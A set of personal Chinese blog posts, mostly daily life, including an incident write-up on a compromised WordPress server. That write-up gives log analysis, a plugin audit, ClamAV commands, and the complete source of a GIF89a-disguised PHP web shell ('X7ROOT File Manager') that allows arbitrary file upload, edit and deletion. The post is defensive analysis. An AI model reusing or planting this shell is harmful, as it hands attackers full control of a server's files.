2025-08-22 11:19:48
最近这几天,的确是没什么时间来写点东西,每天都在与代码拼命抗争。另外就是之前处理的服务器被入侵貌似远没结束,还有一些乱七八糟的东西需要处理。
上周对象把博越送去保养,汽修厂的说减震没有问题,不过刹车片、火花塞需要换了。于是保养完又换了这两项,加起来又一千多。这乱七八糟的钱真的是不禁花。每天都有这些乱七八糟的事情,最近粉皮的保险也快到期了,月初各种电话,反而是这几天真的快到期反而消停了,也不知道到底是什么逻辑。
前几天 陈沩亮博客 提示说我的友联检测不到:
然而,自己看了一下没什么问题。但是他却一致纠结这件事情。其实不想管这事,主要还是最近太忙了。项目用的国产时序数据库,数据写入和查询一直有问题,让 cursor 给修复,结果这小众的玩意儿她也很无奈,甚至一度直接给干废了。
对于这种结果也是真的无奈了。但是还是要继续啊。既然有人坚持,那就去看下到底什么问题吧,结果不看不知道,一看吓一跳。真的 tmd 全部的链接在百度爬虫访问的时候都变成了 moban 什么狗屁玩意儿:
这 tmd 就很艹了。直接搜索moban 最后在 class-wp 中找到了这个东西:
真 tm 防不胜防,直接下载 wp 的原始安装包,替换这个文件一切恢复正常。
感谢这哥们的坚持。
昨天中午,实在不知道吃什么想着汤姆家的牛排还有余额,于是跑去万达吃牛排。结果回来的时候,一 jio 油门下去发动机故障灯亮了:
下午开去四儿子店,一个小时的检测之后告知氧传感器坏了,给索赔了一个,让等电话,到了之后过去换。问在哪里加的油,感觉油品有问题。
既然油品有问题,那就去中石化吧,问怎么加油优惠,说买优惠券。看了一下感觉不合适,就放弃了。让那个大哥直接加。
刚来的时候就说了加 95,结果那个傻屌直接用 92 的油枪就开始加,好在自己看了一眼,问不是该加 95 吗?!
那大哥都懵逼了,我当时 tm 脸都绿了肯定。这 tm 脑子是装了些屎吗?艹!
重新给换到 95 继续加,说不好意思,给送了瓶玻璃水。我拿了东西也没搭理他,真 tm智障。好在 tm 就加了 200。
最后也没注意92 是加了 3 升还是 5 升,艹!开到公司后,总感觉不对劲,于是跑到中石油重新加满了 98,算是标号能够中和一下。
不过这 98 是真 tm 贵。
最近晚上休息也休息不好,做梦都 tm 在改代码。半夜热醒了,忽然想到对象说的,加油站那么多的 666,888 去加油应该没问题。于是翻了下加油记录,发现最后实在老家的壳牌加的。
这忽然又有种似曾相识的感觉,最开始开小六子回老家去小加油站加的油,回来就让维修发动机。从此再也没去过路边的小加油站,这次传感器坏了,这尼玛壳牌的 95 也不能加了?
对象说,肯定是忽悠你呢,本来就是要坏,非得说油不行。对于这个问题,我是没办法求证的,我也不知道是不是他最终要坏啊。坑爹!
不过不得不说,这破 java 真是写的够够的,太 tm 麻烦了。
题外话,这几天还遇到一个大哥也 tm 神奇:
这尼玛想屁吃呢?CSB!!
The post 疲于奔命 appeared first on obaby@mars.
2025-08-19 10:35:38
对于服务器上出现的莫名奇妙的插件,虽然之前已经删除了,但是过几天就会再次出现一些奇奇怪怪的文件。周末的时候已经基于网站访问日志进行了系统的分析,通过分析得出了几个结论:
1.不断有人尝试通过 wp-login.php 进行登录 2.登录成功之后,尝试通过 wp 的 api 接口下载和激活插件
最后的结论是下面的样子:
根据访问日志分析,发现wp-file-manager插件被未授权安装。虽然您确认只有一个管理员账户且未进行安装操作,但日志显示插件确实被成功安装和激活。本报告分析了可能的原因和攻击路径。 关键发现 1. 攻击时间线分析 攻击IP地址 43.174.27.202 - 第一次安装 (2025年8月16日 08:02:14) 43.175.184.61 - 第一次激活 (2025年8月16日 08:02:18) 43.134.100.163 - 第二次安装和激活 (2025年8月17日 06:41:23) 攻击行为模式 暴力破解尝试:攻击IP多次尝试登录wp-login.php (403状态码) 成功登录:最终获得管理员权限 快速安装:登录后立即安装和激活插件 后续探测:安装后继续探测系统 2. 可能的攻击路径 路径1:管理员账户被破解 证据: 攻击IP多次尝试登录wp-login.php 最终成功访问wp-admin目录 能够执行插件安装操作 可能原因: 弱密码被暴力破解 密码泄露 会话劫持 社会工程学攻击 路径2:WordPress漏洞利用 证据: 攻击IP尝试访问可疑文件路径 多次探测wp-admin目录下的文件 使用自动化工具 可能的漏洞: WordPress核心漏洞 插件漏洞 主题漏洞 文件上传漏洞 路径3:服务器层面入侵 证据: 攻击IP来自不同地理位置 使用自动化工具 系统级访问权限 可能原因: 服务器配置漏洞 数据库漏洞 文件系统权限问题 3. 日志分析证据 登录尝试记录 43.134.100.163 - - [08/Aug/2025:21:30:04 +0800] "POST /wp-login.php HTTP/1.1" 403 2545 43.134.100.163 - - [08/Aug/2025:21:30:05 +0800] "POST /wp-login.php HTTP/1.1" 403 2545 成功访问记录 43.134.100.163 - - [10/Aug/2025:00:42:46 +0800] "GET /wp-login.php?redirect_to=...&reauth=1 HTTP/1.1" 200 41129 43.134.100.163 - - [10/Aug/2025:00:42:49 +0800] "POST /wp-admin/admin-ajax.php?action=as_async_request_queue_runner&nonce=1bc2d4a2f7 HTTP/1.1" 200 31 恶意文件探测 43.134.100.163 - - [10/Aug/2025:00:43:15 +0800] "GET /wp-admin/js/baxa1.phP8/ HTTP/1.1" 200 116330 43.134.100.163 - - [10/Aug/2025:00:43:29 +0800] "GET /wp-admin/css/colors/blue/about.php7/ HTTP/1.1" 200 116503 4. 安全风险评估 高风险发现 管理员权限被获取:攻击者成功登录管理员账户 恶意插件安装:wp-file-manager可能被用作后门 文件系统访问:攻击者可能已获得文件系统访问权限 持续威胁:攻击者可能仍在系统中 中风险发现 自动化攻击:使用自动化工具进行攻击 多IP攻击:来自不同IP地址的攻击 文件探测:尝试访问可疑文件路径 5. 攻击者意图分析 wp-file-manager插件的作用 文件管理器:提供Web界面文件管理功能 后门工具:可能被用作持久化后门 权限提升:可能用于进一步权限提升 数据窃取:可能用于窃取敏感数据 攻击者行为特征 自动化操作:安装和激活间隔很短 来源伪装:显示来源为"www.google.com" 快速部署:立即安装和激活插件 持续监控:安装后继续探测系统 建议的应急响应措施 立即行动 隔离系统:立即断开服务器网络连接 备份数据:创建完整系统备份 检查文件:检查wp-file-manager插件文件 审计日志:详细分析所有访问日志 安全检查 密码重置:重置所有管理员账户密码 插件审查:检查所有已安装插件 文件完整性:检查核心文件完整性 数据库审计:检查数据库中的异常 长期措施 安全加固:实施更强的安全措施 监控系统:部署入侵检测系统 定期审计:定期进行安全审计 备份策略:实施完善的备份策略 结论 根据日志分析,wp-file-manager插件确实被未授权安装,这很可能是通过以下方式之一实现的: 管理员账户被破解:攻击者通过暴力破解或其他方式获得了管理员权限 WordPress漏洞利用:攻击者利用了WordPress或其插件的安全漏洞 服务器层面入侵:攻击者通过服务器层面的漏洞获得了访问权限
这就很有意思了,服务器在内网,公网没有可以登录的接口,那么其实我怀疑还有另外一种可能就是安装的插件本身有问题,因为毕竟好几个插件是破解版,还不是自己做的破解版。
本报告分析了目录下所有WordPress插件,查找可能存在的远程下载漏洞或能够下载文件的代码。分析涵盖了文件下载、远程文件获取、用户输入处理等安全相关功能。 发现的安全问题 1. 高风险漏洞 1.1 wp-douban插件 - 远程文件下载漏洞 文件位置: wp-douban/src/functions.php (第548行) wp-douban/src/subject-table.php (第167行) wp-douban/src/subject-all-table.php (第166行) 问题描述: 该插件存在远程文件下载功能,直接从外部URL下载图片并保存到本地: $imageData = curl_exec($ch); file_put_contents($e, $imageData); 风险等级: 中风险 原因: 虽然URL来源相对可控(豆瓣API),但缺乏充分的URL验证和文件类型检查。 1.2 loginpress插件 - 远程文件下载功能 文件位置: loginpress/classes/class-loginpress-ajax.php (第205行) 问题描述: 使用WordPress内置的download_url()函数下载远程文件: $file['tmp_name'] = download_url( $value ); // Downloads a url to a local temporary file. 风险等级: 低风险 原因: 使用了WordPress的安全函数,但需要确保URL来源可信。 1.3 wp-opt插件 - 文件写入操作 文件位置: wp-opt/core/Module.php (第54行、第61行) 问题描述: 将base64解码的数据写入文件: file_put_contents($file_path, base64_decode($img_file)); 风险等级: 中风险 原因: 缺乏对base64内容的验证,可能被恶意利用。 2. 中风险功能 2.1 envira-gallery插件 - 插件安装功能 文件位置: envira-gallery/src/Functions/ajax.php (第774行、第815行) 问题描述: 允许通过URL安装插件: $download_url = esc_url_raw( wp_unslash( $_POST['plugin'] ) ); $installer->install( $download_url ); 风险等级: 中风险 原因: 虽然进行了URL清理,但仍需要确保下载源的可信度。 2.2 wp-mail-smtp-pro插件 - 文件下载功能 文件位置: wp-mail-smtp-pro/src/Connect.php (第181行) 问题描述: 从用户提供的URL下载文件: $post_url = ! empty( $_REQUEST['file'] ) ? esc_url_raw( wp_unslash( $_REQUEST['file'] ) ) : ''; $installer->install( $post_url ); 风险等级: 中风险 原因: 虽然进行了URL清理和HMAC验证,但仍需谨慎处理。 3. 低风险功能 3.1 各种插件的API调用 涉及插件: akismet envira-videos loginpress-pro wordpress-seo wp-mail-smtp-pro 问题描述: 使用wp_remote_get()、curl_exec()等函数进行远程API调用。 风险等级: 低风险 原因: 大多数调用都是向可信的API端点,且进行了适当的错误处理。 安全建议 1. 立即修复建议 wp-douban插件: 添加URL白名单验证 实现文件类型检查 限制下载文件大小 添加文件内容验证 wp-opt插件: 验证base64内容的合法性 添加文件类型检查 实现内容签名验证 2. 长期安全改进 所有插件: 实现统一的文件下载安全策略 添加文件类型白名单 实现文件大小限制 添加下载频率限制 用户输入验证: 对所有用户提供的URL进行严格验证 实现URL白名单机制 添加文件扩展名检查 文件系统安全: 限制文件写入目录 实现文件权限控制 添加文件完整性检查
鉴于上面的报告,继续删除了一些无用的插件。
然而,事情似乎并没有结束。在这之后,我又写了一个文件监控工具,来记录文件的创建和修改,但是效果并不是很好,无法追溯到执行下载的php 文件。
鉴于上面的问题,开始思考下一步操作,那就是直接进行文件杀毒,linux 的免费杀毒,选择也蛮多的,我用的 clamav。
ubuntu 安装也比较简单, 直接扫描网站目录:
第一次扫描,得到了上面的结果,但是这个结果就很奇怪,感染文件 5 个,但是没有任何记录,
原来执行的扫描命令是:clamscan -r /home >> /var/log/clamscan.log
实际上,这个命令只是扫描了,但是感染文件不会被处理。
国内的文章,果然不能照着抄,还是得看官方文档:https://docs.clamav.net
实际上应该是:
clamscan --recursive=yes --infected --log=/home/wwwlogs/clams-scan.log --move=/home/infected /home/wwwroot/
这么个命令,这样扫描结果就一目了然了:
这一堆乱七八糟的东西,竟然是主题:
之前只关注了插件目录,没有看主题目录,现在看来,这个目录也是有问题的。
处理的文件:
实际这个东西就是个文件管理器,代码如下:
GIF89a <?php /* GIF89a */ $home = $_SERVER['HOME'] ?? '/'; $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) $path = getcwd(); $uploadSuccess = false; $fileLink = ''; $currentYear = date("Y"); $editContent = ''; $editTarget = ''; $message = ''; function h($str) { return htmlspecialchars($str, ENT_QUOTES); } // Helper function to get full symbolic permissions function getFullPermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Handle POST actions if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['upload'])) { $dest = $path . '/' . basename($_FILES['upload']['name']); if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $message = "<div style='color:#f00;'>File uploaded successfully!</div>"; } else { $message = "<div style='color:#f00;'>
File upload failed.</div>"; } } elseif (isset($_POST['chmod'], $_POST['file'])) { if (chmod($path . '/' . $_POST['file'], intval($_POST['chmod'], 8))) { $message = "<div style='color:#f00;'>
Permissions changed successfully.</div>"; } else { $message = "<div style='color:#f00;'>
Failed to change permissions.</div>"; } } elseif (isset($_POST['savefile'], $_POST['filename'])) { if (file_put_contents($path . '/' . $_POST['filename'], $_POST['savefile'])) { $message = "<div style='color:#f00;'>
File saved successfully.</div>"; } else { $message = "<div style='color:#f00;'>
Failed to save file.</div>"; } } elseif (isset($_POST['rename'], $_POST['oldname'])) { if (rename($path . '/' . $_POST['oldname'], $path . '/' . $_POST['rename'])) { $message = "<div style='color:#f00;'>
File renamed successfully.</div>"; } else { $message = "<div style='color:#f00;'>
Failed to rename file.</div>"; } } elseif (isset($_POST['mkdir'], $_POST['dirname'])) { if (mkdir($path . '/' . $_POST['dirname'])) { $message = "<div style='color:#f00;'>
Directory created successfully.</div>"; } else { $message = "<div style='color:#f00;'>
Failed to create directory.</div>"; } } } // Handle GET actions if (isset($_GET['edit'])) { $editTarget = basename($_GET['edit']); $editPath = $path . '/' . $editTarget; if (is_file($editPath)) { $editContent = htmlspecialchars(file_get_contents($editPath)); } } if (isset($_GET['delete'])) { $target = $path . '/' . basename($_GET['delete']); if (is_file($target)) { if (unlink($target)) { $message = "<div style='color:#f00;'>
File deleted successfully.</div>"; } else { $message = "<div style='color:#f00;'>
Failed to delete file.</div>"; } } elseif (is_dir($target)) { if (rmdir($target)) { $message = "<div style='color:#f00;'>
Directory deleted successfully.</div>"; } else { $message = "<div style='color:#f00;'>
Failed to delete directory. (Maybe not empty?)</div>"; } } } // Separate files and directories $items = @scandir($path); $dirs = []; $files = []; if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; if (is_dir($path . '/' . $item)) { $dirs[] = $item; } else { $files[] = $item; } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>X7ROOT File Manager</title> <style> body { background: #111; color: #eee; font-family: monospace; padding: 20px; } a { color: #f00; text-decoration: none; } a:hover { text-decoration: underline; } table { width: 100%; border-collapse: collapse; margin-top: 15px; background: #1c1c1c; } th, td { padding: 10px; border: 1px solid #333; text-align: left; } th { background: #2a2a2a; color: #f00; } input, button, textarea { background: #222; color: #eee; border: 1px solid #444; padding: 8px; border-radius: 4px; font-family: monospace; box-sizing: border-box; width: 100%; } button, input[type="submit"] { background: #f00; color: #111; font-weight: bold; cursor: pointer; border: 1px solid #f00; width: auto; padding: 8px 12px; } button:hover, input[type="submit"]:hover { background: #e00; } .breadcrumb a { color: #f00; margin-right: 5px; } .breadcrumb span { color: #888; margin: 0 4px; } .card { background: #1c1c1c; padding: 15px; border-radius: 8px; box-shadow: 0 0 10px #000; margin-top: 20px; } textarea { height: 300px; margin-top: 10px; } footer { text-align: center; margin-top: 40px; color: #666; font-size: 0.9em; } .perms-safe { color: #0f0; } .perms-warn { color: #f00; } .message { margin-bottom: 20px; font-size: 1.1em; } .actions-cell { white-space: nowrap; } </style> </head> <body> <h2>X7ROOT File Manager</h2> <?php if ($message): ?> <div class="message"><?= $message ?></div> <?php endif; ?> <form method="get"> <input type="text" name="path" value="<?= h($path) ?>" style="width: 80%; display: inline-block;"> <button type="submit" style="width: 18%;">Go</button> </form> <div class="breadcrumb"> <?php $crumbs = explode('/', trim($path, '/')); $accum = ''; echo '<a href="?path=/">/</a>'; foreach ($crumbs as $crumb) { if ($crumb === '') continue; $accum .= '/' . $crumb; echo '<span>/</span><a href="?path=' . urlencode($accum) . '">' . h($crumb) . '</a>'; } echo '<span>/</span><a href="?path=' . urlencode($home) . '">[ HOME ]</a>'; ?> </div> <?php if (dirname($path) !== $path): ?> <p><a href="?path=<?= urlencode(dirname($path)) ?>">
[ PARENT DIR ]</a></p> <?php endif; ?> <hr style="border-top: 1px solid #f00;"> <div style="display: flex; gap: 20px; margin-top: 20px;"> <div class="card" style="flex: 1;"> <h3>Upload File</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload" required> <button type="submit" style="margin-top: 10px;">
Upload</button> </form> </div> <div class="card" style="flex: 1;"> <h3>Create Folder</h3> <form method="post"> <input type="hidden" name="mkdir" value="1"> <input type="text" name="dirname" placeholder="Folder Name"> <button type="submit" style="margin-top: 10px;">
Create</button> </form> </div> </div> <?php if ($editTarget): ?> <div class="card"> <h3>Editing: <?= h($editTarget) ?></h3> <form method="post"> <input type="hidden" name="filename" value="<?= h($editTarget) ?>"> <textarea name="savefile"><?= $editContent ?></textarea><br> <button type="submit">
Save File</button> </form> </div> <?php endif; ?> <hr style="border-top: 1px solid #f00;"> <div class="card"> <h3>Directories</h3> <table> <tr> <th>Name</th> <th>Permissions</th> <th>Actions</th> </tr> <?php foreach ($dirs as $item): ?> <?php $full = $path . '/' . $item; $perm = getFullPermissions($full); $permClass = (substr($perm, 8, 1) === 'w') ? 'perms-warn' : 'perms-safe'; ?> <tr> <td><a href="?path=<?= urlencode($full) ?>">
<?= h($item) ?></a></td> <td class="<?= $permClass ?>"><?= $perm ?></td> <td class="actions-cell"> <a href="?path=<?= urlencode($path) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Delete directory?')" style="color:#f00;">
</a> </td> </tr> <?php endforeach; ?> </table> <h3>Files</h3> <table> <tr> <th>Name</th> <th>Size</th> <th>Permissions</th> <th>Actions</th> </tr> <?php foreach ($files as $item): ?> <?php $full = $path . '/' . $item; $size = round(filesize($full) / 1024, 2); $perm = getFullPermissions($full); $permClass = (substr($perm, 8, 1) === 'w') ? 'perms-warn' : 'perms-safe'; ?> <tr> <td>
<?= h($item) ?></td> <td><?= $size ?> kB</td> <td class="<?= $permClass ?>"><?= $perm ?></td> <td class="actions-cell"> <a href="?path=<?= urlencode($path) ?>&edit=<?= urlencode($item) ?>">
</a> | <a href="?path=<?= urlencode($path) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Delete file?')" style="color:#f00;">
</a> | <a href="<?= h($item) ?>" download>
</a> | <form method="post" style="display:inline-block; margin-left:5px;"> <input type="hidden" name="oldname" value="<?= h($item) ?>"> <input type="text" name="rename" value="<?= h($item) ?>" style="width:100px; display:inline;"> <button type="submit" style="font-size: 0.8em; padding: 4px 6px;">Rename</button> </form> </td> </tr> <?php endforeach; ?> </table> </div> <footer> © <?= $currentYear ?> | File Manager by <a href="https://t.me/X7ROOT" target="_blank">@X7ROOT</a> </footer> </body> </html>
这些所有的文件都是同样的内容,就是个文件上传工具,问题是有了这个东西,尼玛服务器还有什么隐私?但是这个东西是怎么进来的,现在反而不好去探寻了。
为了解决这个问题,还有一个办法是做文件的实时监控,在上传文件,或者有文件变化的时候进行病毒扫描。
然而,clamav 没有实时监控,要实现监控就得自己去实现相关功能,最开始用 脚本写了一个,效果一般,后来用 python 重构了一版,运行效果:
不过添加了这个功能之后,出现了一个问题,就是上传文件的时候超时了。
eo返回了 524 错误,这个错误是 eo 定义的,其实是上传文件时间稍微长点,源站没响应就出错了。要解决这个问题也简单:
example.com
站点下的 www.example.com
域名业务对应源站负载较高,处理耗时长,为了避免由于超过节点默认 HTTP 超时时间 15s 后主动断开导致访问失败的问题,需延长至 60s。可参考以下步骤:
www.example.com
。
现在再次上传就 ok 了:
以前总觉得服务器在内网,也没开放 ssh 之类的端口,相对来说比较安全,但是那有什么所谓的一直安全,稍微不慎,可能就让各种插件或者漏洞给坑了。出现一些莫名其妙的问题。
至于解决,那就是自己想办法解决了,相关工具已经开源,看下面的地址,既然木马无处不在,那就好好放马吧,好歹不能让马儿到处乱跑不是?
https://github.com/obaby/Clamav-Realtime-Monitor
如果访问不了,用下面这个:
https://gitee.com/obaby/Clamav-Realtime-Monitor
推荐使用 python 版本:
The post 牧马人 — 基于 clamav 的服务器实时监控系统 appeared first on obaby@mars.
2025-08-18 10:48:50
闹钟还是如约而至的响了,不过睁开眼之后感觉还是昏昏沉沉,一晚上似乎睡着了,有似乎没睡着。不知道是不是因为手上多了个东西不习惯,还是那种约束感,让自己感觉有些不适。
一个周末的时间体重又涨上去两斤,然而,减掉两斤却需要至少两周的时间,甚至还要更长。把手上的戒指,从中指摘下来,重新放到的无名指上。
结婚的时候,买的戒指,就在结婚的时候戴了一段时间。后来,体重慢慢的开始变得离谱,渐渐连中指都戴不上了,从此,就尘封了起来。
上周的某一天,对象又把它拿了出来。这次上手竟然异常的轻松,甚至连中指都可以轻松套上。
就这样,它从无名指到了中指,至于中指戴戒指有什么意义吗?我没想出来,无名指的说法是连的心,象征爱情,那这中指戒指,应该是连的英语,fuck u,象征不屈。
上周五的时候,晚上去乐客城吃饭。之前常穿的那双运动鞋磨损有些严重了,后面破了个洞洞。去骆驼转了一圈,买了一双新的。至于旧的为什么没扔,应为穿着真的很舒服。想着出去跑步的时候还能再传一下,看了下天气预报,都是晴天。晚上回去刷了一下,怕变天干不了,还特地放洗衣机了甩干了。
然而,第二天就开始阴天小雨不断。终于在周六晚上的时候,对象从阳台晾完衣服跟我说,你的鞋子臭了。
这就让人真的很抑郁,听着都蛋疼。只好在重新刷一遍,这次看天气预报依然是晴空万里。然而,到了周日早上天气预报又变了,下午两点 70% 的降雨概率。
这天气预报就像儿戏一般,我总说,哪怕找个有个风湿骨病的老头老太太预测都比这个准。为了防止再次臭了,这次连烘干器都用上了。周日中午准备出去吃饭,为了方式下雨,只好把它从外面又拿到了屋里。就这么来回折腾,这一双鞋我真的是尽力了,如果再臭了,就扔了它。淘宝上搜了下同款的鞋子,然后短视频平台就开始推各种鞋子的广告了,不过这种白色的真的不怎么敢下手,刷鞋太麻烦了。
不过就这个价格,还要啥自行车啊。
在大众点评一通搜索,最终决定是吃新疆菜,有几个不同的餐馆,看了下评价,最终还是选择凯德。开着博越到停车场进地库又开始一通折磨,右前轮的悬架感觉跟要散架了一般,当然这也不能怪吉利的质量不好,根源在于去年去烟台的时候,从一个超级大的水泥减速带上拉着一车人直接飞了过去。这一年多才出问题,也算是可以了。
好多参观前已经开始排队了,不过这新疆菜倒是还算清闲。进去还剩下一个靠发光墙壁的位置,开始吃之前还觉得蛮高级的。
不过开始吃了就后悔了,这发光的墙壁犹如烤炉一般,越吃越热。
问服务员能不能调低点,结果说已经是最低了。并且这个墙壁还是主要的光源之一。不过,在最后赠送了两瓶酸奶,也算是补偿了被烤了一中午的损失,当然还有个问题就是上菜实在是太慢啦。不然也不至于被烤那么久。
晚上,对象想去音乐餐厅。看了下时间八点开始唱。六点多,开始往万达附近溜达,溜达到餐厅门口才七点。先去万达转一圈,竟然在万达看到了阿尔法罗密欧的展车。
不得不说,这小车,不管什么时候看,依然是那么耐看。美中不足的就是一分钱都不优惠,这的确让人难以接收。
从沪上阿姨买了奶茶,回到音乐餐厅,刚要进门,门口的服务员说:“不好意思,今天被包场了”
第一次路过门口的时候就该问下,知道被包场了就在万达吃点了。现在也不想再回去了,直接打车回家。
回家的路上,天阴沉沉的,感觉要下大雨的样子,却始终没有等到那场雨。直到今天早上,空气闷的像蒸笼一样,依然没有任何下雨的迹象。憋了两天的雨,最后得到的是一个大蒸笼。
来到公司,发现之前塑料姐妹离职走的时候给我的几本书还放在桌子上,这些书本来是准备拿回家的。
在周的时候信誓旦旦的说,我就离职了而已,又不是见不到了,下周一起吃饭啊。然而,我这等了两个下周了,也没等到人。
呵,女人!
The post 中指戒指💍 appeared first on obaby@mars.
2025-08-14 09:46:39
这次微信更新,我也不记得是什么时候了,可能是上周,或者是更早一些?之所以忘了是因为最近电脑上就登录了一个微信,另外一个微信已经好久没登录了。
今天早上习惯性的运行了一下以前写的那个脚本,结果执行完了之后,没有打开另外一个微信窗口而是直接切换到了已经开启的微信窗口:
额,这尼玛就有意思了。
以前也试过所谓的插件 hook 的形式,但是一直效果不怎么样,所以就采用了最简单粗暴的办法,那个 启动微信呢脚本也很简单,就一行代码:
nohup /Applications/WeChat.app/Contents/MacOS/WeChat > /dev/null 2>&1
现在看来,这行代码不行了。这就尴尬啦,该怎么搞呢,其实最简单的方法就是直接复制个微信出来,改下 bundleid,对文件重新签名,这样就有两个不同的 app 了。
但是,一想到这么多步骤,还要执行命令一条条的就觉得蛋疼,还是直接上 cursor 写个脚本,哈哈哈。执行下试试效果:
支持的参数:
sudo sh baby_wechat.sh -e 微信双开脚本使用说明: -e 用法: baby_wechat.sh [选项] -e 选项: setup 设置微信双开环境(创建WeChat2.app) start 启动微信双开 auto 自动设置并启动微信双开 -s 显示当前运行的微信进程 -k 关闭所有微信进程 -h 显示此帮助信息 -e 示例: baby_wechat.sh setup # 设置微信双开环境 baby_wechat.sh start # 启动微信双开 baby_wechat.sh auto # 自动设置并启动微信双开 baby_wechat.sh -s # 显示运行中的微信进程 baby_wechat.sh -k # 关闭所有微信进程 -e 注意: 首次使用建议运行 'baby_wechat.sh auto' 来自动完成所有设置 需要管理员权限来创建和修改应用 需要安装 Xcode 命令行工具
执行完之后就看到效果啦:
luancher 有两个微信:
两个微信可以单独启动,进行登录:
版本信息:
问题是为什么不能学 qq 呢,天然支持多账号登录,哼!
相关脚本已经开源了,访问 github 查看,下载使用:
https://github.com/obaby/baby-wechat
无法访问的使用下面的地址:
https://gitee.com/obaby/baby-wechat
免责声明: 本脚本仅供学习和研究使用。使用本脚本产生的任何后果由用户自行承担。
The post Mac 微信最新版多开脚本 appeared first on obaby@mars.
2025-08-12 11:21:03
周日一早,七点多就醒了,毕竟这一大天的安排,真的挺紧张。洗刷完叫宝子起床,对象已经吃过早饭了,坐在沙发上看电视。自己快速吃了两个水煎包,给宝子留了一个。时间不早了,也该叫宝子起床了。
宝子洗刷完之后,宝子坐在餐桌前慢悠悠的吃水煎包。我看着钟表上的时间从七点二十到了七点五十,这半个小时的时间,她都没吃完那个水煎包。我去拿遥控器把电视关了,跟她说,咱就吃到八点,吃不完也得走了。
好在这最后的十分钟,她消灭了那个还剩三分之一的水煎包。到家的时候看了下时间八点四十,老太太、二姐,还有宝子的小姐姐都已经准备好出发了。进门简单的说了几句,既然收拾好了,也就该直接出发去淄川了,毕竟开过去又得一个多小时。
还没出门,老太太就给我 100 块钱,说去镇上的时候买箱奶,买箱鸡蛋。她觉得自己空手不好,这钱我自然也没必要拿,直接扫码就完了。就让她收回去了。
到镇上,还没去买东西她又说,把车停下面吧,上面不好停,过马路不好过。
“没事,不用你操心,我去弄就行了”我回道。
其实,有点时候我也不懂她在想什么。周六回去的时候,她又说,“我给你攒的拿一万块钱,你拿着吧,去还房贷。你还欠着那么多贷款,还一点”
“不用了,你自己留着花吧,我也不缺你那点”我回道。“不过,你别老给三姐打电话,说钱少了,她用了你的钱。你就卖树的那点钱,也好几年了,剩下的也就那些,也别再提了”
“我卖树,一共卖了两万六千块钱,就前几天回来给我送了六千块钱,剩下的都没了。我是自己花点,也不能就剩了这点……”她继续说。
“这事就别提了,剩了这么多就是这么多。就算是她花了你也别提了”我补充道,在这之前,三姐给我打过两次电话,在电话里哭了两次,有一次发狠说道:“让她说缺了多少钱,我给她补上,从此不相往来”。这自然是气话,我安慰她,哪怕补上了到时候也不会记得这件事情,现在她的记忆处在一个特殊的状态,有些事情记得很清楚,但是对最近的事情却毫无印象,哪怕是几天前说的事情,过几天再提及她也没有任何的印象。
“这件事,以后挂口不提了”老太太最后说道。其实,这个表态,并没有太多的意义,过两天可能就又忘了。眼下能拖一天是一天吧。她的世界里,少了很多东西,也让另外一些东西占据了大多数的空间。思考在她的世界里可能真的是比较奢侈了。
周日高速的路宽还算是比较畅通,除了 224 省道已经显得局促,上了高速之后就一切都畅通了。根据大姐分享的地里位置,到达之后却没有发现那个所谓的大院,终点右侧是废弃的山川医疗器材厂,门口停满了车。
看到这个名字,不由得想起去年来的时候在山下看到的他们建造的那尊大佛,据说投资好几亿,建了这么一个佛像。缺少备案还是什么东西,那尊佛像现在被挡在了层层的围墙后。
大佛建成之后,也并没有保佑器材厂一番丰顺,在耗光利润,加上疫情,直接倒闭了,留下现在长满杂草的院子。
大姐说在路对面,停车的时候刚好对面有车位,又给挪到了对面。从路边的门口进入之后,里面豁然开朗,空间的确不小。
屋子里坐满了人,当然,基本都是参加宝子大姐的升学宴的。红包在之前就给了,也没想着还有时间来参加升学宴,但是来了,空着手自然也不好。跟对象合计了一下,买了一套 chanel 的香水。毕竟上大学,大姑娘喷的香香的也没啥毛病。
宝子的小姐姐晕车,一路上精神有些迷糊,她们都觉得是我开车太快了,给晃晕的。
稍坐一段时间,也到了饭点了。这么多人自然是去饭店更合适。继续按照定位开车过去,门口扎着一道拱门,上面写着某某的升学宴。进入大堂才发现,好几家都在办升学宴。找到地方进去,自己家里的这些人也就坐满一桌了,倒是不用显得拘谨。
过了十二点开始上菜,老太太自然还是要喝点。其实按照她这高血压的毛病,按理是不该喝酒的。只是现在这倔强的状态,的确让人有些为难。喝了点酒,后面开始问我,你听我唱戏没。
“嗐,停了多少次了,你哪次一次吃饭不唱点”我回答。
“你想听我唱戏不?”老太太又问宝子。
“我听你唱过,我不喜欢听”宝子答道。
“小孩子都不喜欢听戏,不是他们喜欢的类型”我圆场道。二姐直接说道:“我们小时候不喜欢听,我现在也不喜欢听”。
就这样,今天没在酒桌上唱,毕竟,今天的主角是宝子的大姐姐,其他的都是配角。
吃完饭,回到大姐家。宝子的姐姐带着宝子去玩假发,cosplay。
我们几个坐在那里闲扯,老太太本来想在大姐家住几天,现在却又忽然表示,不住了吧,她那么忙。
